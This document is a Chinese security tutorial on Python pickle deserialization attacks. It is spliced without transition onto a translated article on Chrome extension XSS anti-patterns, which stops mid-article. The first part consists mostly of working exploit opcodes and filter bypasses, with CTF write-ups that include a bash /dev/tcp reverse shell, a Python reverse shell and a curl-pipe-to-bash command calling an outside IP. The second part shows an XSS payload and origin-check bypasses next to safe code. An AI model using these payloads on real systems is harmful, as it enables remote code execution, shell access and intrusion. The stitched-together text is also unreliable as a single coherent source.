我们可以看到 opcode 都会以 `.` 结束，我们在程序正常的 opcode 之后去掉 `.` 再拼接上我们的内容即可命令执行
import opcode
import pickle
import pickletools
class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest
opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ubcnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
fakeUser = pickle.loads(opcode)
### 漏洞修复
和其他的反序列化漏洞一样，永远不要相信用户的输入，确保 unpickle 的内容不会来自于不受信任的或者未经验证的来源的数据。
在这一点之外，我们还可以通过重写 `Unpickler.find_class()` 来限制全局变量：
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden
以上例子通过重写`Unpickler.find_class()`方法，限制调用模块只能为`builtins`，且函数必须在白名单内，否则抛出异常。这种方式限制了调用的模块函数都在白名单之内，这就保证了Python在`unpickle`时的安全性。
### 漏洞 bypass
#### 绕过`find_class`函数
我们在前面学习到了 `c` 操作码调用的 find_class 的逻辑，我们可以看到上面官方的修复方法中也是对 find_class
进行白名单限制，比如这里我们限制了 `builtins` ，但是显然我们可以通过自己构造类似 find_class 的逻辑进行 payload 构造，我们
c 操作码只需要对 `builtins` 进行操作就可以构造出 payload
我们可以利用 如下代码进行绕过
opcode=b'''cbuiltins
getattr
p0 #取到 getattr
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2 # getattr(dict, 'get')
00g1
(g2
S'__builtins__' # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")' # 取到 eval 然后实现 RCE
tR.
'''
R 被过滤的时候，构造如下
opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.'#最后两个0是栈为空，否则会报错
'''
0: \x80 PROTO 3
2: ( MARK
3: c GLOBAL 'builtins getattr'
21: p PUT 0
24: c GLOBAL 'builtins dict'
39: p PUT 1
42: X BINUNICODE 'get'
50: o OBJ (MARK at 2)
51: p PUT 2
54: 0 POP
55: ( MARK
56: g GET 2
59: ( MARK
60: c GLOBAL 'builtins globals'
78: o OBJ (MARK at 59)
79: X BINUNICODE '__builtins__'
96: o OBJ (MARK at 55)
97: p PUT 3
100: ( MARK
101: g GET 0
104: g GET 3
107: X BINUNICODE 'eval'
116: o OBJ (MARK at 100)
117: p PUT 4
120: ( MARK
121: g GET 4
124: X BINUNICODE '__import__("os").system("whoami")'
162: o OBJ (MARK at 120)
163: 0 POP
164: 0 POP
165: . STOP
highest protocol among opcodes = 2
'''
#### R 指令被过滤
##### `b`
上面 RCE 中我们提到了，我们可以使用 `o` 、`i` 来进行绕过，这里重点提一下 `b`
BUILD = b'b' # call __setstate__ or __dict__.update()
我们可以看到 b 指令码的作用，这里会调用到 `__setstate__`
> `__setstate__` ： [官方文档](https://docs.python.org/zh-> cn/3.7/library/pickle.html#handling-stateful-> objects)中，如果想要存储对象的状态，就可以使用`__getstat__`和`__setstat__`方法。由于 pickle
> 同样可以存储对象属性的状态，所以这两个魔术方法主要是针对那些不可被序列化的状态，如一个被打开的文件句柄`open(file,'r')`。
和他成对的还有 `__getstate__`
，被反序列化时调用`__setstate__`，被序列化时调用`__getstate__`。重写时可以省略`__setstate__`，但`__getstate__`必须返回一个字典。如果`__getstate__`与`__setstate__`都被省略,
那么就默认自动保存和加载对象的属性字典`__dict__`。
示例：
import pickle
class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age
def __str__(self):
return f"name: {self.name}\nage: {self.age}"
class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name=state
self.age=10
def __getstate__(self):
print("invoke __getstate__")
return "Child"
child=Child("TEST",123)
print(child)
#name: TEST
#age: 123
opcode=pickle.dumps(child,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'
c1=pickle.loads(opcode)
print(c1)
#invoke __setstate__
#name: Child
#age: 10
在 pickle 源码中，字节码`b`对应的是`load_build()`函数
def load_build(self):
stack = self.stack
state = stack.pop()
# 首先获取栈上的字节码 b 前的一个元素，对于对象来说，该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在，则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空，则state与对象默认的__dict__合并，这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置，则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
根据上面代码的逻辑我们可以进行如下构造：
o}(S"__setstate__" # } 压入空dict __setstate__，然后 c push进去我们的 os.system
cos
system
ubS"calc" # 执行第一次 b ，因为现在并没有 b ，所以执行 __dict__.update，也就是将我们前面的 {"__setstate__":os.system} 写入了
# 压入命令再次执行 b 由于已经有了__setstate__，所以会将栈中字节码 b 的前一个元素当作 state，执行__setstate__(state)，
b.
测试demo
import pickle
class Person:
def __init__(self,age):
self.age=age
opcode=b'''(c__main__
Person
I18
o}(S"__setstate__"
cos
system
ubS"calc"
b.'''
p=pickle.loads(opcode)
'''
0: ( MARK
1: c GLOBAL '__main__ Person'
18: I INT 18
22: o OBJ (MARK at 0)
23: } EMPTY_DICT
24: ( MARK
25: S STRING '__setstate__'
41: c GLOBAL 'os system'
52: u SETITEMS (MARK at 24)
53: b BUILD
54: S STRING 'calc'
62: b BUILD
63: . STOP
highest protocol among opcodes = 1
'''
##### 利用 python 内置函数绕过
这一部分就是考验 python 的基础了，题目的话可以参考 **美团CTF 2022 ezpickle** 和 蓝帽杯2022 file_session
关于 python 的内置函数可以移步官方文档 <https://docs.python.org/zh-cn/3/library/functions.html>，我们需要在这里面找到可以进行命令执行的函数，这里给出两个
for x in map.__new__(map, eval, ['print(\'map\')']):
pass
for x in filter.__new__(filter, eval, ['print(\'filter\')']):
pass
如上，但是这里是有一点问题的，这两个函数构建一个新的迭代器
这里构建的迭代器是不会立即触发的，在 python 中好像叫懒惰，我们需要再对迭代对象进行一步 `__next__` 才能将他触发
r = map(eval, ['print(\'1\')'])
r.__next__()
r = filter(eval, ['print(\'2\')'])
r.__next__()
而 `__next__` 我们可以对他进行一个跟踪，看文档就可以
Python/C API 中 Python 对象类型结构体的 [`tp_iternext`](https://docs.python.org/zh-cn/3/c-api/typeobj.html#c.PyTypeObject.tp_iternext "PyTypeObject.tp_iternext")
槽位
可以看到最下面，这里实际上也就是对应着 `PyIter_Next`
我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候，触发的方式就不能是再在后面拼接 `__next__()`
了，我们需要找一个能够触发 `PyIter_Next` 的方法：
bytes.__new__(bytes, map.__new__(map, eval, ['print(1)'])) # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"])) # tuple_new_impl->PySequence_Tuple->PyIter_Next
也就是
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
pickle.loads(opcode)
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
pickle.loads(opcode)
用到的核心其实就是
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
#### 敏感字符 bypass
##### `S`
`S` 操作码本身是 String ，是支持十六进制的识别的
S'flag' => S'\x66\x6c\x61\x67'
##### `V`
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
在指令集中存在一个 `V` 用于操作 Unicode 字符，对原本的 S 进行替换后即可在单引号内使用 Unicode 编码
S'flag' => V'\u0066\u006C\u0061\u0067'
##### 利用内置函数取关键字
我们可以用 dir 列出 admin 模块的所有属性，我们需要的 secret 属性位于最后的位置，这个时候我们就可以利用函数将这里的 secret 取出来
print(next(reversed(dir(sys.modules['admin']))))
#secret
reversed 函数将 dir 得到的列表逆序，然后使用 next 取第一个即可，写到 opcode 中就是如下构造
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.
#### flask 框架下结合 SSTI 进行 bypass
简单放一下 payload，大体的思路就是调用 flask.templating 的 render_template_string 来传入 SSTI 的相关
paylaod
payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."
## 题目整理
#### 强网杯 2022 crash
题目给出了源码
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random
app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
这里我们只写用到 pickle 反序列化的部分，我们希望通过覆盖属性的方式来获得一个已知的 secret，可以看到黑名单：
if b'R' in pickle_data or b"secret" in pickle_data:
不能用 R 指令码，不能含有要覆盖的 secret 关键字，绕过这两处即可
b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''
或者
b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''
再或者
opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1
db(S'admin'
I1
i__main__
User
.'''
#### Code-Breaking 2018 picklecode
<https://github.com/phith0n/code-breaking/blob/master/2018/picklecode>
起环境之后可以看到：
直接审计源码，使用的是 django 模板，很简单可以看出来是一个 pickle 反序列化，映入眼帘的 manger.py 中就可以看到写好的
`PickleSerializer`
添加了一系列的黑名单，可以在 setting 下的 `SESSION_SERIALIZER` 中找到调用
> 这里看过 P 牛的 WP 后补充一下，`SESSION_ENGINE` 指的是 Django 使用时将用户认证信息存储在哪里，在一般的 Django
> 项目中很少看到对这两个值进行设置，默认Django项目中，这两个值分别是：`django.contrib.sessions.backends.db`和`django.contrib.sessions.serializers.JSONSerializer`，显然默认
> Django 的 session 是使用 json 的形式，存储在数据库里。
>
> 简单理解的话就是
> 用户的session对象先由`SESSION_SERIALIZER`指定的方式转换成一个字符串，再由`SESSION_ENGINE`指定的方式存储到某个地方。
继续审计，我们可以在 `challenge\views.py` 中找到可控点，这里直接被拼接进了 模板渲染，显然会存在一个模板注入的漏洞
Django
的模板引擎沙箱其实一直是很安全的，也就是说即使你让用户控制了模板或模板的一部分，造成模板注入漏洞，也无法通过这个漏洞来执行代码。但是我们可以利用这里获取一些敏感信息。
常用的 Django 格式化字符串的 payload：
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
思路是一样的，但是和格式化字符串漏洞不同，Django的模板引擎有一定限制，比如我们无法读取用下划线开头的属性，所以这里的两种 payload
都是不能用的。
这个 payload 我们可以通过调试得到，在 debug 里面一点点找
很累眼
request.user.groups.source_field.opts.app_config.module.settings.SECRET_KEY
这样就得到了 secret_key
zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm
这里是第一个沙箱的内容，第二个沙箱就是我们的 pickle 了，也就是 `SESSION_SERIALIZER =
'core.serializer.PickleSerializer'`
这里的黑名单限制的是 `module` 必须为 `builtins`，同时`name` 中不能有 `{'eval', 'exec', 'execfile',
'compile', 'open', 'input', '__import__', 'exit'}`
我们通过 `builtins.getattr('builtins', 'eval')` 取 eval 方法就可以绕过这里的检测了
opcode = b'''cbuiltins
getattr # 使用c，获取 getattr 这个可执行对象
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1 # 用dict.get来从globals的结果中拿到上下文里的builtins对象，并将这个对象放置在memo[1]
cbuiltins
getattr
(g1
S'eval' # 利用得到的 builtins 对象调用 getattr('builtins', 'eval')
tR(S'__import__("os").system("calc")' 写入 eval 的参数
tR.
'''
#### SekaiCTF 2022 Bottle Poem
可以猜测这里存在一个任意文件读取，直接读 `../app.py` 是 No，不过可以读到 `/proc/self/cmdline`
然后读绝对路径就可以读源码了
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
稍微审计一下就可以发现，这里没有使用常用的 flask，用了一个叫 bottle 的东西，可能是我们的突破点，然后这里还有一个 config.secret
也就是 `/app/config/secret.py`，后续也有一个 session 用户的问题。
`secret` 知道了，这里显然需要用 bottle 伪造出来一个权限为 admin 的 session
但是并没有什么用 ...
这里实际上是一个 Pickle 反序列化，至于如何得知的我们就只能去审计源码了，跟进源码中调用的 bottle 的几种方法
这里看到 bottle request 的 get_cookie 方法
这里是它的 get_cookie 方法，这里可以看到一个 `cookie_decode` ，跟进
可以看到这里调用了 `pickle.loads`
再看一下 set_cookie 方法
可以看到，这里和上面对应的有一个 cookie_encode 方法
可以看到，这里调用了 `pickle.dumps(data, -1)` 这里没有过滤，我们可以直接传入最简单的 `__reduce__` 生成的
payload
if secret:
value = touni(cookie_encode((name, value), secret))
那么我们的 pickle 内容相应的也就存在了 `(name, value)` 也就额是 cookie_encode 的 data 参数
python3 反弹shell
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.104.14.160',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
或者用 curl 自己服务器的方式反弹 shell
exp:
import os
from bottle import cookie_encode
class Test:
def __reduce__(self):
return (eval, ('__import__("os").popen("curl http://47.104.14.160/shell.html|bash")',))
exp = cookie_encode(
('session', {"name": [Test()]}),
"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
)
print(exp)
#### 美团CTF 2022 ezpickle
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))#设置user为a,d,m,i,n任意拼接的五个字符，例如aadai,admmi...
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
SECRET_KEY 很简单，爆破就好了，flask-unsign 可以利用字典爆破，我们可以写一个字典用工具爆破就可以了
过滤了操作码 R o i b，还有几个关键字，这里考虑使用 python 的内置函数来进行 bypass，这里用的是 map 函数 ，这里我们可以使用
bytes `bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next`
来触发迭代，具体的分析参照上面的 **利用 python 内置函数绕过**
#bytes.__new__(bytes,map.__new__(map,os.system,('whoami',)))
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
或者也可以使用 `tuple` 也就是 `tuple_new_impl->PySequence_Tuple->PyIter_Next`
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
pickle.loads(opcode)
或者我们也可以换一个内置函数，比如 filter
opcode=b'''c__builtin__
filter
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
pickle.loads(opcode) | 社区文章 |
### 偷窥扩展程序中未被污染的安全反模式
#### 内容脚本不服从任何限制或CSP策略
谈及到后台页面的内容安全策略（CSP）要求时，人们也许会认为跨站点脚本（XSS）在Chrome扩展程序中已经不存在了。但事实并非如此，它只是被附加到了扩展程序的内容脚本端。内容脚本不必遵守扩展声明的CSP，它们也不必遵守它们正在执行的网页的CSP（除非他们将`<script>`注入到网页的DOM中）。因此，如果<https://example.com>
具有以下CSP：
script-src 'self'; object-src 'self'
这与在内容脚本上下文中执行的JavaScript完全无关。例如，尽管它被自己的源网页禁止，它也一样可以使用eval()执行他想要的命令。这通常会转化为开发人员通过内容脚本创建Chrome扩展，这些扩展实际上会将新的漏洞引入到热门的网站中，如果不这样做，那么这些漏洞就是安全的。[RES
XSS漏洞](https://blog.saynotolinux.com/blog/2014/04/12/spooky-sanitizer-stories-analyzing-the-reddit-enhancement-suite-xss-flaw/)是之前提到的这种情况下的一个很好的例子。尽管Reddit(红迪网(新闻网站名）)没有跨站点脚本（XSS）漏洞，但RES为网站安装了一个扩展程序，它获取用户可以控制的图像标题，并将其作为HTML注入到Reddit的网页DOM中，进而形成了XSS漏洞，所以，Reddit就容易受到所有安装有RES扩展程序的用户的zero-click XSS攻击。
在研究这个问题时，反模式就应运而生了。编写内容脚本的开发人员如果让用户使用自己控制的输入来执行不安全的DOM操作，则很有可能会自取灭亡（并祸及他们的用户）。所以扩展程序的开发人员应该万分谨慎，以确保用户不使用诸如[innerHTML](https://gomakethings.com/preventing-cross-site-scripting-attacks-when-using-innerhtml-in-vanilla-javascript/)，html()或设置href (javascript:URIs)之类的调用来执行不安全的DOM操作。
#### 无法信任的网页DOM
Chrome扩展程序开发人员会涉及的另一个常见反模式是，他们会信任外部网页提供的内容。这存在多种体现形式，例如信任DOM中的数据，从事件侦听器触发的事件，或从网页发送到内容脚本的消息。
就以DOM为例，攻击者可以将布局修改为他们想要的任何格式，以便利用内容脚本。还应值得注意的是，攻击者通过恶意网页访问或通过可信网页中的XSS漏洞来将敏感数据放入DOM中的情况。例如，[Grammarly
Chrome扩展程序就犯了这个错误，因为它们将敏感的身份验证令牌放入所有网页的DOM中，允许恶意网页只是简单地从DOM中提取令牌并使用来对其API进行身份验证](https://bugs.chromium.org/p/project-zero/issues/detail?id=1527&desc=2)。当扩展程序将某种UI放入网页中供用户查看时，这种情况就会更加常见。通常，在这些UI元素中，开发人员会将敏感信息放在Chrome扩展程序之外。更糟糕的是，这些元素通常会被内容脚本再次查询并用于执行可信操作。
这些模式允许攻击者在这些操作中进行攻击并修改DOM元素，从而使其包含非预期的输入。
#### 必须验证JavaScript DOM事件
事件侦听器是内容脚本和网页DOM之间的主要通道之一，它也会受到攻击者的攻击。由于开发人员希望事件完全是由用户操作生成的，而不是由攻击者的一系列动作来创建的，所以这些很会掩人耳目。使用如下脚本：
// Create an element to inject
var injected_last_key_element = document.createElement( "div" );
injected_last_key_element.innerHTML = 'Last character typed: <div id="last_keypress_div"></div>';
// Inject this box into the page
document.body.appendChild(
injected_last_key_element
);
// Listen for keydown event and show it's value in the previously-injected div
document.body.addEventListener( "keydown", function( keyevent ) {
document.getElementById( "last_keypress_div" ).innerHTML = keyevent.code;
});
上面的代码实现了侦听keydown事件，并显示被注入文档正文中的`<div>`内的最后一个按键的代码值。因此，如果您按下键盘上的“a”键，字符串“KeyA”将出现在这个注入的`<div>`中。以下是关于KeyboardEvent的MDN文档的屏幕截图：
KeyboardEvent.code[页面](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/code)说明如下所示：
> “
> KeyboardEvent.code属性表示键盘上的物理键（与按键生成的字符相对应）。换句话说，这个属性返回一个不会随键盘布局或键的状态而改变的值。”
阅读这份文档，作为开发人员的您，可能会认为XSS在这里是不可能存在的。毕竟，这只会显示用户键盘按下的最后一个键码，文档说该属性是“只读”！怎么可能是被用来引起XSS的呢？即使您可以发送合成事件，它也只是预定义的密钥代码，并且`<div>`将在每个事件上进行重写，对吧？
但如果您这样想，那您就完全错了。实际上，这很容易被攻击者利用。以下便是导致XSS的代码：
// Generate a synthetic key event
function generate_fake_key_event(target_element, key_event_type, custom_properties) {
var new_event = document.createEvent(
"KeyboardEvent",
);
for (var property_keyname in custom_properties)
if (custom_properties.hasOwnProperty(property_keyname)) {
// Chromium Hack
Object.defineProperty(new_event, property_keyname, {
get: function() {
return custom_properties[property_keyname];
}
});
new_event.initKeyboardEvent(
key_event_type,
true,
true,
document.defaultView,
false,
false,
false,
false,
0,
0
);
new_event[property_keyname] = custom_properties[property_keyname];
}
}
target_element.dispatchEvent(
new_event
);
}
// Send a keydown with a code of <img src=x onerror=alert('XSS') />
generate_fake_key_event(
document.body,
"keydown",
{
"code": "<img src=x onerror=alert('XSS') />",
}
)
上面的代码导致了XSS漏洞，并且会显示带有文本“XSS”的警报：
上述的XSS-警报的例子说明了信任任意事件，会引发的一些严重的缺陷：
* 无需任何用户交互即可生成的事件。
* 即使事件在文档中有声明类似于“只读”的内容，这也纯粹是为了声明真正创建的事件在生成后不能修改这个属性。它根本不适用于合成生成的事件。
* 合成生成的事件甚至没有必要遵循事件属性值的预期格式。即使文档说“代码”是预定义的格式，但在合成生成的事件中也不会被强制要求。因此攻击者可以指定`<img src=x onerror=alert(‘XSS’) />` 而不是像KeyA这样的东西。
这一切听起来都让人非常难受，但还算幸运，我们还可以进行简单的检查来验证事件是否真的是用户生成的。对于用户生成的事件，我们将它的[isTrusted](https://developer.mozilla.org/en-US/docs/Web/API/Event/isTrusted)属性设置为true，反之，对于脚本生成的事件，isTrusted属性设置为false。这样我们就可以验证事件是由用户创建的，还是说仅仅是由攻击者合成的：
// Listen for keydown event and show its value in the previously-injected div
document.body.addEventListener( "keydown", function( keyevent ) {
if( keyevent.isTrusted ) {
document.getElementById( "last_keypress_div" ).innerHTML = keyevent.code;
}
});
现在，攻击者已经无法向我们发送破坏性的合成事件了。我们最终处理的所有事件都必须是由用户生成的。虽然isTrusted属性并不常用，但在内容脚本处理网页事件时，它至关重要。
这个例子是经过精心设计的，因为如果攻击者可以在您的页面上创建的任意事件，那么您很可能已经在网页层次上拥有了这些事件，所以，由此导致的网页中的XSS是循环的。一个真实环境的例子是，后台页面使用内容脚本检索的事件数据来做一些不安全的事情，为了简单起见，我们只在常规网页中演示JavaScript事件欺骗。
#### **不能信任网页发送的消息**
Chrome扩展程序中的另一个常见模式是使用JavaScript的[postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)将消息传递到后台页面中调用特定的Chrome扩展API。通常，内容脚本通过事件监听器从网页发出消息，然后将消息中传递到后台页面以调用某些专用的Chrome
API。这创建了一个直接通道，任何网页都可以使用特定的Chrome扩展API，如果开发人员没有[检查消息的来源](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#Security_concerns)，则会发生一些让人极其不愉快的事情。
通常，即使开发人员会检查收到的消息的来源，他们也会用类似于以下的代码来进行检查：
window.addEventListener( "message", function( received_message ) {
// Check to make sure this a sub-domain of our site
if( received_message.origin.indexOf( ".trusteddomain.com" ) !== -1 ) {
process_message( received_message );
}
}, false);
或者，如果他们是正则表达式的忠实使用者，他们将进行类似于下面的操作：
received_message.match(/https:\/\/www\.trusteddomain\.com/i)
...
received_message.match(/https?:\/\/www.trusteddomain.com$/i)
...
令人抱憾的是，所有这些检查都是可以绕过去的，下面是绕过每个检查的代码：
// Bypassed with https://a.trusteddomain.com.attacker.com
received_message.origin.indexOf( ".trusteddomain.com" ) !== -1
// Also bypassed with https://a.trusteddomain.com.attacker.com
received_message.match(/https?:\/\/www\.trusteddomain\.com/i)
// Bypassed with https://wwwatrusteddomain.com
received_message.match(/https?:\/\/www.trusteddomain.com$/i)
这几乎可以肯定是因为收到的消息的origin属性是站点的原始字符串，而不是已解析过的原始部分的对象。众所周知，解析URL很容易掉入陷阱，因此交给每个用户一个字符串并要求他们自己检查，自然会有助于解决这些问题。也许在以后的Web标准中，可以添加本机源验证功能，以便为开发人员提供更有保证的方法来验证这个行为。
为了安全地验证消息的来源，建议使用可信任的HTTPS源的静态列表。因为没有它，扩展程序可能很容易受到[中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)。以下是执行这个操作的安全代码示例：
var trusted_origins = [
"https://trusteddomain.com",
"https://www.trusteddomain.com",
"https://extension.trusteddomain.com"
];
if( trusted_origins.includes( received_message.origin ) ) {
// We can trust this message came from the right place
process_message( received_message );
}
这样可以使外围区域较小，并在检查来源是否可信时只留下很小的错误空间。
当然，许多开发人员更愿意简单地将主域的所有子域列入白名单中，这样他们就不必更改源代码来添加新的主机名。虽然我建议最好别这样做（原因下面会讨论），但这样做的安全代码如下所示：
// Pull out the message origin
var message_origin = received_message.origin;
// Specify your trusted domain
var base_domain = "trusteddomain.com";
if( message_origin.startsWith( "https://" ) && ( message_origin.edsWith( "."[b] + base_domain ) || message_origin === "https://" + base_domain ) ) {
// Message is HTTPS and a sub-domain, trust it.
process_message( received_message );
}
上面的代码并不难，它只是确保源既是HTTPS又是可信基域的子域，或者就只是基域本身。
最后，记住需要检查的是消息事件[源](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)，这同样也很重要。入站消息具有source属性，它是对发送它的窗口的引用。大多数情况下，内容脚本假设消息的发送者与内容脚本运行的窗口相同。因此，添加下面所示的简单的检查非常重要：
// Check to make sure the sender is the window we expect.
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
上面的检查确保了发送消息的窗口与运行内容脚本的窗口是相同的。如果不相同，则脚本会立即返回而不会继续处理消息。开发人员常犯的一个错误是不检查消息的来源并根据收到的消息的内容来执行DOM操作。这意味着另一个页面有可能会向目标站点发送恶意的消息，以通过内容脚本强制执行不安全的DOM操作，从而导致XSS漏洞。由于存在边界情况，您不希望与内容脚本具有相同的源窗口，但绝大多数都应该要有这个简单的检查。
#### 君子不立危墙
既然我已经向您展示了确保某些东西是您信任域的子域的安全代码，我想还是要花一点时间来讨论一下外围区域（surface area）。
通常情况下，您会看到只允许从Chrome扩展程序所有者拥有的域的子域中调用特定的Chrome扩展API的扩展程序，这种模式通常被当作是对开发人员有用的模式，因为他们可以更轻松地更改其网站的代码，以便实现无需更新扩展程序本身，以便对Chrome扩展程序的API进行不同的调用。
一旦您将这个想法付诸实践，通常下一步就是允许来自可信基域的任何子域的特定API的调用。
当使用[external_connectable](https://developer.chrome.com/apps/messaging#external-webpage)指令时，这个行为也很容易落入陷阱。这个指令指出了哪些来源可以将消息发送到扩展程序的后台页面。即使在官方文档中，[提供的示例](https://developer.chrome.com/apps/messaging#external-webpage)也如下所示，它允许基域的所有子域通过HTTP或HTTPS发送消息：
"externally_connectable": {
"matches": ["*://*.example.com/*"]
}
